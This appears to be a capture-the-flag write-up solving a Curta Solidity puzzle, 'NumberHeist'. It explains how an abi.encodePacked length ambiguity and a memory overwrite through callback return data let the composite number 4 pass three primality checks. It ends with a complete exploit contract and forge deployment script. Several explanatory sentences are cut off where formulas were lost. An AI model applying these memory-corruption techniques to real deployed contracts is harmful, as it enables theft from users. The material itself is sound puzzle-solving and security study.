To solve this challenge, we must find a set of valid parameters for the heist
function, ensuring that these parameters pass three prime number checks in the contract, while also satisfying
function heist(uint256 n, uint256 circleCuttingWitness, uint256 factor1, uint256 factor2) external returns (bool heistSuccess) {
require(1 < n && n <= 32);
require(factor1 > 1 && factor2 > 1);
require(factor1 < n && factor2 < n);
bytes memory magicTome = _initializePuzzle();
// ---- Check Prime By Wilson's ----
if (!_checkWilsons(n)) {
return false;
}
// ---- Check Prime By Circle Cutting ----
if (!_isPrimeByCircleCutting(magicTome, n, circleCuttingWitness)) {
return false;
}
// ---- Check Not Composite By Filson's ----
if (!_filsonsCompositenessCheck(n)) {
return false;
}
// This number has passed 3 layers of prime security checks...
// But will it defy the laws of mathematics?
if(n == factor1 * factor2) {
solved[msg.sender] = true;
heistSuccess = true;
}
}
Let's break down each check:
Wilson's theorem is used for the first primality check:
// We will use the famous result from Wilson's Theorem to test for primality:
//
// (n-1)! ≡ -1 (mod n) <=> n is prime
function _checkWilsons(uint256 n) internal restoreMemory returns (bool) {
// Caller provides the precomputed factorials... because why not?
// Largest factorial necessary for wilson's is (n-1)!, therefore we need 0!..31!
// Three entries: [ x! ∀ x <= 12, x! ∀ 12 < x <= 20, x! ∀ 20 < x <= 31 ]
// First entry factorials fit into 8 byte denominations
// Second entry factorials fit into 12 byte denominations
// Third entry factorials fit into 16 byte denominations
(bool success, bytes memory data) = msg.sender.call("");
require(success);
// Nothing to see here...
assembly {
mstore(0x40, 0x360)
}
bytes[3] memory precomputedFactorials = abi.decode(data, (bytes[3]));
// hash the precomputedFactorials to ensure they are correct
require(keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])) == VALID_FACTORIALS_HASH, "Not Valid Factorials");
// Declare Pointers
bytes memory f0 = precomputedFactorials[0];
bytes memory f1 = precomputedFactorials[1];
bytes memory f2 = precomputedFactorials[2];
uint256 modResult;
// Verify Wilson's
assembly {
let nMinusOneFactorial
if lt(n, 14) {
let factorialsStart := add(f0, 0x08)
let factorialSpot := mload(add(factorialsStart, mul(sub(n, 1), 0x08)))
nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFF)
}
if and(gt(n, 13), lt(n, 22)) {
let factorialsStart := add(f1, 0x0c)
let factorialSpot := mload(add(factorialsStart, mul(sub(n, 14), 0x0c)))
nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFFFFFFFFFF)
}
if gt(n, 21) {
let factorialsStart := add(f2, 0x10)
let factorialSpot := mload(add(factorialsStart, mul(sub(n, 22), 0x10)))
nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
modResult := addmod(nMinusOneFactorial, 1, n)
}
return modResult == 0;
}
This part of the challenge uses Wilson's theorem to check for primality by verifying if
It first requires us to return the factorials of all numbers in the range keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2]))
, it ensures that the returned content is correct.
It is worth noting that when encoding, the challenge uses abi.encodePacked()
, which should be handled with care for dynamic length data. This is because the nature of this encoding method can lead to situations such as: abi.encodePacked("123", "4") == abi.encodePacked("1", "234")
.
Therefore, in this case, we can adjust the lengths of these three groups of bytes without altering the relationship between each byte, leading the contract to read incorrect values. Through various permutations and combinations, it is found that many composite numbers can pass this check, and we skip the specific choice of
The second prime check involves a method using cyclotomic polynomials:
function _isPrimeByCircleCutting(bytes memory cyclotomics, uint256 n, uint256 witness) internal returns (bool) {
if (cyclotomics.length != 0x100) {
revert("Invalid cyclotomics length");
}
// Get the right cyclotomic from the magic tome
bytes8 cyclotomic = _readCyclotomic(cyclotomics, n-1);
int256 result = _evaluateCyclotomic(cyclotomic, witness);
return result % int256(n) == 0;
}
function _readCyclotomic(bytes memory cyclotomics, uint256 n) internal pure returns (bytes8 cyclotomic) {
assembly {
let cyclo_size := 0x08
cyclotomic := and(mload(add(add(cyclotomics, 0x20), mul(sub(n, 1), cyclo_size))), 0xFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000)
}
}
function _evaluateCyclotomic(bytes8 cyclotomic, uint256 x) internal returns (int256 res) {
for (uint256 i = 63; i > 1; i-=2) {
uint8 cycloByte = uint8(cyclotomic[i / 8]);
uint adjustment = (7 - (i % 8));
uint8 sign = uint8(cycloByte & (1 << (adjustment + 1)));
uint8 bit = uint8(cycloByte & (1 << adjustment));
if (bit != 0) {
int256 val = int256(x**((63-i)/2));
if (sign != 0) {
res -= val;
} else if (sign == 0){
res += val;
} else {
revert("Invalid sign");
}
}
}
}
According to the comment, the property used here is that 0x760
position:
function _initializePuzzle() internal pure returns (bytes memory magicTome) {
// What could this be?
assembly {
magicTome := 0x760
let tomePtr := add(magicTome, 0x20)
let tomeSize := 0x100
mstore(
tomePtr,
hex"0000000000000007000000000000000500000000000000150000000000000011"
)
mstore(
add(tomePtr, 0x20),
hex"0000000000000155000000000000001d00000000000015550000000000000101"
)
mstore(
add(tomePtr, 0x40),
hex"000000000000104100000000000001dd00000000001555550000000000000131"
)
mstore(
add(tomePtr, 0x60),
hex"00000000015555550000000000001ddd000000000001c74d0000000000010001"
)
mstore(
add(tomePtr, 0x80),
hex"000000015555555500000000000010c100000015555555550000000000013131"
)
mstore(
add(tomePtr, 0xA0),
hex"0000000001C7134D00000000001DDDDD00001555555555550000000000010301"
)
mstore(
add(tomePtr, 0xC0),
hex"00000100401004010000000001DDDDDD00000010000400010000000001313131"
)
mstore(
add(tomePtr, 0xE0),
hex"01555555555555550000000000014FC515555555555555550000000000000000"
)
mstore(magicTome, tomeSize)
}
}
Assuming the implementation of this check is correct, the only approach would be to somehow modify this segment of memory. The method I discovered involves the use of (bool success, bytes memory data) = msg.sender.call("");
within the Wilson's theorem primality check. We can append additional bytes to the originally returned bytes[3]
, or directly return bytes[4]
instead. I opted for bytes[4]
, setting the length of the last bytes array to 0 initially. Utilizing forge debug, it was found that the fourth bytes in array would start writing to memory from the 0x340 (0xc0 + 0x280)
position.
To overwrite the original data at position 0x760
, it's only necessary to ensure that the length of the fourth bytes exceeds 0x400 (0x360 + 0x400 = 0x760)
. As for what data to overwrite with, by observing the formula, it can be discovered that if all the cycloByte
are zeros, then regardless of the parameters, result
will always equal 0. Consequently, result % int256(n) == 0
, allowing us to directly overwrite the entire table with zeros.
The last prime check utilizes an extension of Wilson's theorem, which is as follows:
function _filsonsCompositenessCheck(uint256 n) internal pure returns (bool) {
return factorial(n-1) % n != 0;
}
This concept isn't hard to grasp. Assuming
For
Therefore, this condition also holds true for all square numbers
When f0
. My approach was to make f0
an empty bytes, so the read position coincides exactly with the length of f1
. I set the length of f1
to 199 bytes, and placed the rest in f2
, enabling
if lt(n, 14) {
let factorialsStart := add(f0, 0x08)
let factorialSpot := mload(add(factorialsStart, mul(sub(n, 1), 0x08)))
nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFF)
}
Taking all of the above into account, we can now pass this challenge.
pragma solidity 0.8.20;
import {Script} from "forge-std/Script.sol";
import {NumberHeist} from "src/NumberHeist.sol";
interface ICurta {
function solve(uint32, uint256) external;
}
contract Exp {
uint256 constant public SOLUTION = 0x8fbcb4375b910093bcf636b6b2f26b26eda2a29ef5a8ee7de44b5743c3bf9a28;
function run(address challenge) public {
NumberHeist heist = NumberHeist(challenge);
heist.heist(4, 0, 2, 2);
ICurta(0x00000000D1329c5cd5386091066d49112e590969).solve(9, SOLUTION);
}
fallback (bytes calldata input) external returns (bytes memory) {
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
assembly {
mstore(add(add(extraData, 0x20), 0x400), 0x0100)
}
factorialData[3] = extraData;
return abi.encode(factorialData);
}
}
contract DeployScript is Script {
function run() public {
uint256 privateKey = vm.envUint("private");
vm.startBroadcast(privateKey);
address challenge = 0x5029000a811A7Cb5Ad9333F8f5d08b3Fb96F6386;
Exp exp = new Exp();
exp.run(challenge);
}
}